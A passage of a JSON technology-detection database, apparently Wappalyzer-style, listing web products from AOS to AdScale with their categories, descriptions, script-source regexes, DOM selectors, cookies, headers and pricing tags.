\"AOS\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"JavaScript library to animate elements on your page as you scroll.\",\n    \"dom\": [\n      \" body[data-aos-easing]\"\n    ],\n    \"icon\": \"AOS.svg\",\n    \"js\": {\n      \"AOS.init\": \"\",\n      \"AOS.refresh\": \"\",\n      \"AOS.refreshHard\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"unpkg\\\\.com/aos@([\\\\d\\\\.]+)/dist/aos\\\\.js\\\\;version:\\\\1\",\n      \"/typo3conf/ext/udem_vendor/Resources/Public/aos-([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://michalsnik.github.io/aos/\"\n  },\n  \"APC\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"APC offers door-to-door parcel and mail delivery.\",\n    \"icon\": \"APC.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\APC\\\\b\"\n    ],\n    \"website\": \"https://www.apc-pli.com\"\n  },\n  \"ARI Network Services\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ARI Network Services provides website, software, and data solutions to help dealers, distributors, and OEMs improve their selling process.\",\n    \"icon\": \"ARINetworkServices.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ari-secure\\\\.com/\"\n    ],\n    \"website\": \"https://arinet.com\"\n  },\n  \"ASP.NET Boilerplate\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"ASP.NET Boilerplate is a general purpose application framework especially designed for new modern web applications. It uses already familiar tools and implements best practices around them to provide you a SOLID development experience.\",\n    \"icon\": \"aspnetboilerplate.png\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"abp.aspnetboilerplate.version\": \"(.*)\\\\;version:\\\\1\",\n      \"abp.timing.utcClockProvider\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.aspnetboilerplate.com\"\n  },\n  \"AT Internet Analyzer\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"AT Internet.svg\",\n    \"js\": {\n      \"ATInternet\": \"\",\n      \"xtsite\": \"\"\n    },\n    \"website\": \"https://atinternet.com/en\"\n  },\n  \"AT Internet XiTi\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"AT Internet.svg\",\n    \"js\": {\n      \"xt_click\": \"\"\n    },\n    \"scriptSrc\": [\n      \"xiti\\\\.com/hit\\\\.xiti\"\n    ],\n    \"website\": \"https://atinternet.com/en\"\n  },\n  \"ATSHOP\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ATSHOP is an all-in-one ecommerce platform.\",\n    \"dom\": [\n      \"link[href*='cdn.atshop.io']\"\n    ],\n    \"icon\": \"ATSHOP.png\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.atshop\\\\.io\"\n    ],\n    \"website\": \"https://atshop.io\"\n  },\n  \"AWIN\": {\n    \"cats\": [\n      71\n    ],\n    \"cookies\": {\n      \"BAGawin\": \"\",\n      \"_aw_xid\": \"\"\n    },\n    \"description\": \"AWIN is a global affiliate marketing network.\",\n    \"icon\": \"AWIN.svg\",\n    \"js\": {\n      \"AWIN.Tracking\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"dwin1\\\\.com\"\n    ],\n    \"website\": \"https://www.awin.com\"\n  },\n  \"AWS Certificate Manager\": {\n    \"cats\": [\n      70\n    ],\n    \"certIssuer\": \"Amazon\",\n    \"cpe\": \"cpe:2.3:a:awstats:awstats:*:*:*:*:*:*:*:*\",\n    \"description\": \"AWS Certificate Manager is a service that lets you easily provision, manage, and deploy public and private Secure Sockets Layer/Transport Layer Security (SSL/TLS) certificates for use with AWS services and your internal connected resources.\",\n    \"icon\": \"AWS Certificate Manager.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://aws.amazon.com/certificate-manager/\"\n  },\n  \"AWS WAF Captcha\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"AWS WAF Captcha helps block unwanted bot traffic by requiring users to successfully complete challenges before their web request are allowed to reach AWS WAF protected resources.\",\n    \"headers\": {\n      \"x-amzn-waf-action\": \"^captcha$\"\n    },\n    \"icon\": \"AWS WAF Captcha.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"captcha\\\\.awswaf\\\\.com/\"\n    ],\n    \"website\": \"https://docs.aws.amazon.com/waf/latest/developerguide/waf-captcha.html\"\n  },\n  \"AWStats\": {\n    \"cats\": [\n      10\n    ],\n    \"cpe\": \"cpe:2.3:a:laurent_destailleur:awstats:*:*:*:*:*:*:*:*\",\n    \"icon\": \"AWStats.png\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"meta\": {\n      \"generator\": \"AWStats ([\\\\d.]+(?: \\\\(build [\\\\d.]+\\\\))?)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://awstats.sourceforge.net\"\n  },\n  \"AbhiCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"AbhiCMS is a lesser-known content management system that may not have a significant user base or active development community.\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"AbhiCMS\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://website999.org\"\n  },\n  \"Abicart\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Abicart is an ecommerce platform developed by the Swedish company Abicart AB.\",\n    \"icon\": \"abicart.svg\",\n    \"meta\": {\n      \"generator\": \"Abicart\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://abicart.com/\"\n  },\n  \"Absorb\": {\n    \"cats\": [\n      21\n    ],\n    \"cookies\": {\n      \"_absorb_ui_session\": \"\"\n    },\n    \"description\": \"Absorb is a cloud-based learning management system.\",\n    \"icon\": \"Absorb.svg\",\n    \"js\": {\n      \"AbsorbLMS\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.absorblms.com\"\n  },\n  \"Accentuate Custom Fields\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Accentuate Custom Fields is the professional and de facto solution to easily extend your Shopify store with your own custom fields such multi-language text fields, images, checkboxes, dates, selection list and custom JSON objects.\",\n    \"dom\": [\n      \"a[style*='.accentuate.io/'], a[data-bg*='.accentuate.io/'], div[style*='.accentuate.io/'], img[src*='.accentuate.io/'], img[data-src*='.accentuate.io/']\"\n    ],\n    \"icon\": \"Accentuate Custom Fields.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"\\\\.accentuate\\\\.io/\"\n    ],\n    \"website\": \"https://www.accentuate.io\"\n  },\n  \"Accertify\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Accertify is a platform specialising in fraud prevention and chargeback management.\",\n    \"dom\": [\n      \"div[id*='Accertify']\"\n    ],\n    \"icon\": \"Accertify.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.accertify.com/\"\n  },\n  \"AccessTrade\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"AccessTrade is an affiliate marketing platform based on the CPA model developed by Interspace Co.\",\n    \"dom\": [\n      \"img[src*='.accesstrade.net'],img[data-src*='.accesstrade.net']\"\n    ],\n    \"icon\": \"AccessTrade.svg\",\n    \"scriptSrc\": [\n      \"accesstrade\\\\.net/js/\",\n      \"click\\\\.accesstra\\\\.de/js/nct/lp\\\\.js\"\n    ],\n    \"website\": \"https://accesstrade.global/\"\n  },\n  \"AccessiBe\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"AccessiBe is an accessibility overlay which claims to provide ADA and WCAG compliance. The system scans and analyzes a website, and applies adjustments which they claim make your website ADA and WCAG 2.1 compliant.\",\n    \"icon\": \"AccessiBe.svg\",\n    \"js\": {\n      \"acsb\": \"\\\\;confidence:50\",\n      \"acsbJS\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"acsbapp?\\\\.com/.*/acsb\\\\.js\"\n    ],\n    \"website\": \"https://accessibe.com\"\n  },\n  \"Accessibility Toolbar Plugin\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Accessibility Toolbar Plugin is an accessibility component without dependencies (clean javascript), including a variety of tools.\",\n    \"icon\": \"Accessibility Toolbar Plugin.png\",\n    \"js\": {\n      \"MicAccessTool.prototype.openCloseBoxKeyboard\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://webworks.ga/acc_toolbar\"\n  },\n  \"Accessible360\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Accessible360 is a web accessibility company based in Edina, Minnesota.\",\n    \"dom\": [\n      \"a[href*='accessible360.com/'][target='_blank'], a[href*='accessible360.com/'] > img\"\n    ],\n    \"icon\": \"Accessible360.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/npm/@accessible360/accessible-slick@([\\\\d\\\\.]+)/\\\\;version:\\\\1\",\n      \"/accessible360/accessible-slick/slick/slick\\\\.min\\\\.js\\\\?v=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://accessible360.com\"\n  },\n  \"Accessibly\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Accessibly is an app which is designed to assist with meeting certain requirements of WCAG 2.1 using an overlay solution.\",\n    \"icon\": \"Accessibly.svg\",\n    \"js\": {\n      \"accessibilityWidget.name\": \"bound\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"accessibly\\\\.onthemapmarketing\\\\.com\"\n    ],\n    \"website\": \"https://www.onthemapmarketing.com/accessibly/\"\n  },\n  \"Accesso\": {\n    \"cats\": [\n      6,\n      72\n    ],\n    \"description\": \"Accesso provides ticketing, ecommerce and Point-of-Sale (PoS) solutions.\",\n    \"icon\": \"Accesso.svg\",\n    \"js\": {\n      \"accesso\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/embed/accesso\\\\.js\"\n    ],\n    \"website\": \"https://accesso.com/\"\n  },\n  \"Acconsento.click\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Acconsento.click is a software solution designed to assist users in achieving cookie policy compliance for their websites.\",\n    \"dom\": [\n      \"link[href*='//acconsento.click/']\"\n    ],\n    \"icon\": \"Acconsento.click.png\",\n    \"js\": {\n      \"AcconsentoAPI\": \"\",\n      \"acconsentoCreateElement\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://shop.acconsento.click\"\n  },\n  \"AccuWeather\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"AccuWeather provides weather forecasts and warnings and additional weather products and services.\",\n    \"dom\": [\n      \"a[href*='.accuweather.com'][target='_blank']\"\n    ],\n    \"icon\": \"AccuWeather.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://partners.accuweather.com\"\n  },\n  \"Ace\": {\n    \"cats\": [\n      24\n    ],\n    \"description\": \"Ace is an embeddable code editor written in JavaScript.\",\n    \"icon\": \"Ace.png\",\n    \"js\": {\n      \"ace.EditSession\": \"\",\n      \"ace.Editor\": \"\",\n      \"ace.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/ajaxorg/ace\"\n  },\n  \"Ackee\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Ackee is a self-hosted, Node.js based analytics tool with a focus on privacy.\",\n    \"dom\": [\n      \"[data-ackee-domain-id], [data-ackee-server]\"\n    ],\n    \"icon\": \"Ackee.svg\",\n    \"js\": {\n      \"ackeeTracker\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://ackee.electerious.com\"\n  },\n  \"Acoustic Experience Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Acoustic Experience Analytics (Tealeaf), formerly known as IBM Tealeaf Customer Experience on Cloud, is a SaaS-based analytics solution that delivers Tealeaf core capabilities in an managed cloud environment. Tealeaf captures and manages each visitor interaction on your website and mobile applications.\",\n    \"icon\": \"Acoustic.svg\",\n    \"js\": {\n      \"TLT.config.core.modules.TLCookie\": \"\",\n      \"TLT_VERSION\": \"\",\n      \"TeaLeaf\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://acoustic.com/tealeaf\"\n  },\n  \"Acquia Campaign Factory\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Acquia Campaign Factory is centralized marketing management system powered by Mautic.\",\n    \"icon\": \"acquia-campaign-factory.svg\",\n    \"implies\": [\n      \"Mautic\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"mautic\\\\.net\",\n      \"maestro\\\\.mautic\\\\.com\"\n    ],\n    \"website\": \"https://www.acquia.com/products/marketing-cloud/campaign-factory\"\n  },\n  \"Acquia Cloud IDE\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Acquia Cloud IDE is a browser-based source code editor and a Drupal development stack running on the Acquia Cloud Platform.\",\n    \"icon\": \"acquia-cloud-ide.png\",\n    \"implies\": [\n      \"Acquia Cloud Platform\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"https?:\\\\/\\\\/.+\\\\.web\\\\.ahdev\\\\.cloud\"\n    ],\n    \"url\": [\n      \"https:?\\\\/\\\\/.+\\\\.web\\\\.ahdev\\\\.cloud\"\n    ],\n    \"website\": \"https://www.acquia.com/products/drupal-cloud/cloud-ide\"\n  },\n  \"Acquia Cloud Platform\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Acquia Cloud Platform is a Drupal-tuned application lifecycle management suite with an infrastructure to support Drupal deployment workflow processes.\",\n    \"headers\": {\n      \"X-AH-Environment\": \"^(next)?.*$\\\\;version:\\\\1?Next:\"\n    },\n    \"icon\": \"acquia-cloud.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.acquia.com/products/drupal-cloud/cloud-platform\"\n  },\n  \"Acquia Cloud Platform CDN\": {\n    \"cats\": [\n      31\n    ],\n    \"headers\": {\n      \"via\": \"Acquia Platform CDN (.+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"acquia-cloud-platform.svg\",\n    \"implies\": [\n      \"Acquia Cloud Platform\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://docs.acquia.com/cloud-platform/platformcdn/\"\n  },\n  \"Acquia Cloud Site Factory\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Acquia Site Factory is a multisite platform for Drupal.\",\n    \"dom\": [\n      \"script[src*='sites/g/files']\",\n      \"img[src*='sites/g/files']\",\n      \"img[data-src*='sites/g/files']\",\n      \"link[href*='sites/g/files']\"\n    ],\n    \"icon\": \"acquia-site-factory.svg\",\n    \"implies\": [\n      \"Acquia Cloud Platform\",\n      \"Drupal Multisite\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sites\\\\/g\\\\/files\"\n    ],\n    \"website\": \"https://www.acquia.com/products/drupal-cloud/site-factory\"\n  },\n  \"Acquia Content Hub\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Acquia Content Hub is a cloud-based, centralized content distribution and syndication service.\",\n    \"dom\": [\n      \"[data-lift-slot]\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"content-hub\\\\.acquia\\\\.com\"\n    },\n    \"icon\": \"acquia-content-hub.png\",\n    \"implies\": [\n      \"Acquia Cloud Platform\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"content-hub\\\\.acquia\\\\.com\"\n    ],\n    \"url\": [\n      \"https?:\\\\/\\\\/.+\\\\.content-hub\\\\.acquia\\\\.com\"\n    ],\n    \"website\": \"https://www.acquia.com/products/drupal-cloud/content-hub\"\n  },\n  \"Acquia Customer Data Platform\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Acquia Customer Data Platform (formerly AgilOne) is a customer data platform for Drupal.\",\n    \"dom\": [\n      \"[data-function*='Agilone']\"\n    ],\n    \"icon\": \"acquia-cdp.png\",\n    \"js\": {\n      \"$A1\": \"\",\n      \"$A1Config\": \"\",\n      \"agiloneObject\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"^https?:\\\\/\\\\/.+\\\\.agilone\\\\.com\",\n      \"^https?:\\\\/\\\\/scripts\\\\.agilone\\\\.com\\\\/latest\\\\/a1.js\"\n    ],\n    \"website\": \"https://www.acquia.com/products/marketing-cloud/customer-data-platform\"\n  },\n  \"Acquia Personalization\": {\n    \"cats\": [\n      10,\n      76\n    ],\n    \"description\": \"Acquia Personalization (formerly Acquia Lift) lets you track customers' behavior throughout your website.\",\n    \"dom\": [\n      \"[data-lift-slot]\"\n    ],\n    \"icon\": \"acquia-personalization.png\",\n    \"implies\": [\n      \"Acquia Cloud Platform\\\\;confidence:95\"\n    ],\n    \"js\": {\n      \"AcquiaLift\": \"\",\n      \"_tcaq\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"lift\\\\.acquia\\\\.com\"\n    ],\n    \"website\": \"https://www.acquia.com/products/marketing-cloud/personalization\",\n    \"xhr\": [\n      \"lift\\\\.acquia\\\\.com\"\n    ]\n  },\n  \"Acquia Site Studio\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Site Studio (formerly Cohesion) is a low-code, Drupal add-on page builder.\",\n    \"dom\": [\n      \"div[class*='coh-component coh-component-instance']\"\n    ],\n    \"icon\": \"acquia-site-studio.svg\",\n    \"implies\": [\n      \"Acquia Cloud Platform\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sites/\\\\w*/files/cohesion\"\n    ],\n    \"website\": \"https://www.acquia.com/products/drupal-cloud/site-studio\"\n  },\n  \"Acquire Cobrowse\": {\n    \"cats\": [\n      19,\n      103\n    ],\n    \"description\": \"Acquire Cobrowse is a safe and secure method of interacting with a customer's browser without downloading any additional software.\",\n    \"icon\": \"Acquire.svg\",\n    \"js\": {\n      \"acquireCobrowseRTC\": \"\",\n      \"acquireCobrowseSettings\": \"\",\n      \"acquireConfigNodeServer\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.acquire\\\\.io/cobrowse/\"\n    ],\n    \"website\": \"https://acquire.io/co-browsing\"\n  },\n  \"Acquire Live Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Acquire is a multi-channel customer support platform designed to provide real-time customer support to customers.\",\n    \"icon\": \"Acquire.svg\",\n    \"js\": {\n      \"_acquire_init_config\": \"\",\n      \"acquire\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.acquire\\\\.io/(?!cobrowse)\"\n    ],\n    \"website\": \"https://acquire.io\"\n  },\n  \"Act-On\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Act-On is a cloud-based SaaS product for marketing automation.\",\n    \"icon\": \"Act-On.svg\",\n    \"js\": {\n      \"ActOn\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/cdnr/\\\\d+/acton/bn/tracker/\\\\d+\"\n    ],\n    \"website\": \"https://act-on.com\"\n  },\n  \"ActBlue\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"ActBlue is an online fundraising platform that facilitates secure donations to Democratic candidates and progressive causes, streamlining the process of processing and distributing campaign contributions.\",\n    \"dom\": [\n      \"a[href*='//secure.actblue.com/donate/']\"\n    ],\n    \"icon\": \"ActBlue.svg\",\n    \"js\": {\n      \"actblue.__configuration\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://secure.actblue.com\"\n  },\n  \"Actirise\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Actirise is a monetization and business intelligence platform.\",\n    \"dom\": [\n      \"div[data-actirise]\"\n    ],\n    \"icon\": \"Actirise.svg\",\n    \"js\": {\n      \"ActiriseSafeFrame\": \"\",\n      \"actirisePlugin.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://corporate.actirise.com\"\n  },\n  \"Actito\": {\n    \"cats\": [\n      32,\n      76\n    ],\n    \"cookies\": {\n      \"SmartFocus\": \"\"\n    },\n    \"description\": \"Actito is an agile SaaS marketing automation platform.\",\n    \"icon\": \"Actito.png\",\n    \"js\": {\n      \"_actGoal\": \"\",\n      \"smartFocus\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.actito\\\\.be\",\n      \"\\\\.advisor\\\\.smartfocus\\\\.com\"\n    ],\n    \"website\": \"https://www.actito.com\"\n  },\n  \"Activ8 Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Activ8 Commerce is a sales solution tailored for winery and distillery businesses.\",\n    \"icon\": \"Activ8.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/activ8-commerce/\"\n    ],\n    \"website\": \"https://activ8commerce.com\"\n  },\n  \"ActiveCampaign\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"ActiveCampaign is email and marketing automation software.\",\n    \"icon\": \"ActiveCampaign.svg\",\n    \"js\": {\n      \"acEnableTracking\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"plugins/activecampaign-subscription-forms/site_tracking\\\\.js\",\n      \"\\\\.activehosted\\\\.com\",\n      \"\\\\.app-us1\\\\.com\",\n      \"\\\\.ac-page\\\\.com\"\n    ],\n    \"url\": [\n      \"\\\\.activehosted\\\\.com\",\n      \"\\\\.ac-page\\\\.com\"\n    ],\n    \"website\": \"https://www.activecampaign.com\"\n  },\n  \"Acuity Scheduling\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Acuity Scheduling is a cloud-based appointment scheduling software solution.\",\n    \"dom\": [\n      \"a[href*='app.acuityscheduling.com']\"\n    ],\n    \"icon\": \"Acuity Scheduling.svg\",\n    \"js\": {\n      \"ACUITY_MODAL_INIT\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.acuityscheduling\\\\.com\"\n    ],\n    \"website\": \"https://acuityscheduling.com\"\n  },\n  \"AcuityAds\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"AcuityAds offers automatic solutions to marketers willing to connect through clients across mobile, social, and online display advertising campaigns.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.acuityplatform\\\\.com\"\n    },\n    \"icon\": \"AcuityAds.svg\",\n    \"js\": {\n      \"acuityAdsEventQueue\": \"\",\n      \"acuityAdsPixelKey\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.acuityads.com\"\n  },\n  \"Ad Lightning\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Ad Lightning is an programmatic ads monitoring and audit service.\",\n    \"icon\": \"Ad Lightning.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.adlightning\\\\.com\"\n    ],\n    \"website\": \"https://www.adlightning.com\"\n  },\n  \"AdBridg\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"AdBridg is a bidding solutions provider for publishers looking to maximize their programmatic revenues.\",\n    \"icon\": \"AdBridg.png\",\n    \"js\": {\n      \"AdBridg.cmd\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.adbridg.com\"\n  },\n  \"AdFixus\": {\n    \"cats\": [\n      67\n    ],\n    \"cookies\": {\n      \"afx_profile_hs\": \"\"\n    },\n    \"description\": \"AdFixus is a privacy-focused solution that enables businesses to manage their data and empower individuals with consent control, addressing the decline of third-party cookies.\",\n    \"icon\": \"AdFixus.svg\",\n    \"js\": {\n      \"AfxIdentity\": \"\",\n      \"_afxProfile\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.adfixus.com\"\n  },\n  \"AdGlare\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"AdGlare is an ad serving solution designed for advertisers, publishers, and agencies.\",\n    \"icon\": \"AdGlare.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.adglare\\\\.net/\"\n    ],\n    \"website\": \"https://www.adglare.com\"\n  },\n  \"AdInfinity\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"AdInfinity.png\",\n    \"scriptSrc\": [\n      \"adinfinity\\\\.com\\\\.au\"\n    ],\n    \"website\": \"https://adinfinity.com.au\"\n  },\n  \"AdOcean\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"AdOcean.svg\",\n    \"implies\": [\n      \"Gemius\"\n    ],\n    \"js\": {\n      \"ado.master\": \"\",\n      \"ado.placement\": \"\",\n      \"ado.slave\": \"\"\n    },\n    \"scriptSrc\": [\n      \"adocean\\\\.pl/files/js/ado\\\\.js\",\n      \"adocean\\\\.pl\\\\;confidence:80\"\n    ],\n    \"website\": \"https://adocean-global.com\"\n  },\n  \"AdOpt\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"AdOpt is a consent tool that prioritises privacy and usability towards the LGPD.\",\n    \"icon\": \"AdOpt.svg\",\n    \"implies\": [\n      \"Svelte\"\n    ],\n    \"js\": {\n      \"adoptApp.domain\": \"\",\n      \"adopt_website_code\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tag\\\\.goadopt\\\\.io/\"\n    ],\n    \"website\": \"https://goadopt.io\"\n  },\n  \"AdRecover\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"AdRecover is a tool that helps online publishers monetise their Adblock inventory.\",\n    \"icon\": \"adrecover.svg\",\n    \"js\": {\n      \"adRecover.ap\": \"\"\n    },\n    \"website\": \"https://www.adrecover.com\"\n  },\n  \"AdRiver\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"AdRiver is a company which provide internet advertising management and audit software.\",\n    \"dom\": [\n      \"link[href*='.adriver.ru'], img[src*='.adriver.ru'], iframe[src*='.adriver.ru']\"\n    ],\n    \"icon\": \"AdRiver.png\",\n    \"js\": {\n      \"AdriverCounter\": \"\",\n      \"AdriverPrebid\": \"\",\n      \"adfoxBiddersMap.adriver\": \"\",\n      \"adriver\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.adriver\\\\.ru/\"\n    ],\n    \"website\": \"https://adriver.ru\"\n  },\n  \"AdRoll\": {\n    \"cats\": [\n      36,\n      77\n    ],\n    \"description\": \"AdRoll is a digital marketing technology platform that specialises in retargeting.\",\n    \"dom\": [\n      \"link[href*='.adroll.com']\"\n    ],\n    \"icon\": \"AdRoll.svg\",\n    \"js\": {\n      \"adroll_adv_id\": \"\",\n      \"adroll_pix_id\": \"\",\n      \"adroll_version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:a|s)\\\\.adroll\\\\.com\"\n    ],\n    \"scripts\": [\n      \"(?:d|s)\\\\.adroll\\\\.com/\"\n    ],\n    \"website\": \"https://adroll.com\"\n  },\n  \"AdRoll CMP System\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"AdRoll CMP System is a consent management solution.\",\n    \"icon\": \"AdRoll.svg\",\n    \"js\": {\n      \"__adroll_consent\": \"\",\n      \"__adroll_consent_is_gdpr\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.adroll.com/features/consent-management\"\n  },\n  \"AdScale\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"AdScale is a cloud-based, AI-powered performance optimisation platform which utilises machine learning to automate and optimise AdWords campaigns across Google Search, Google Shopping, Google Display, and YouTube.\",\n    \"icon\": \"AdScale.svg\",\n    \"js\": {\n      \"_adscale\": \"\",\n      \"adscaleAddToCart\": \"\",\n      \"adscaleViewProduct\": \"\"\n    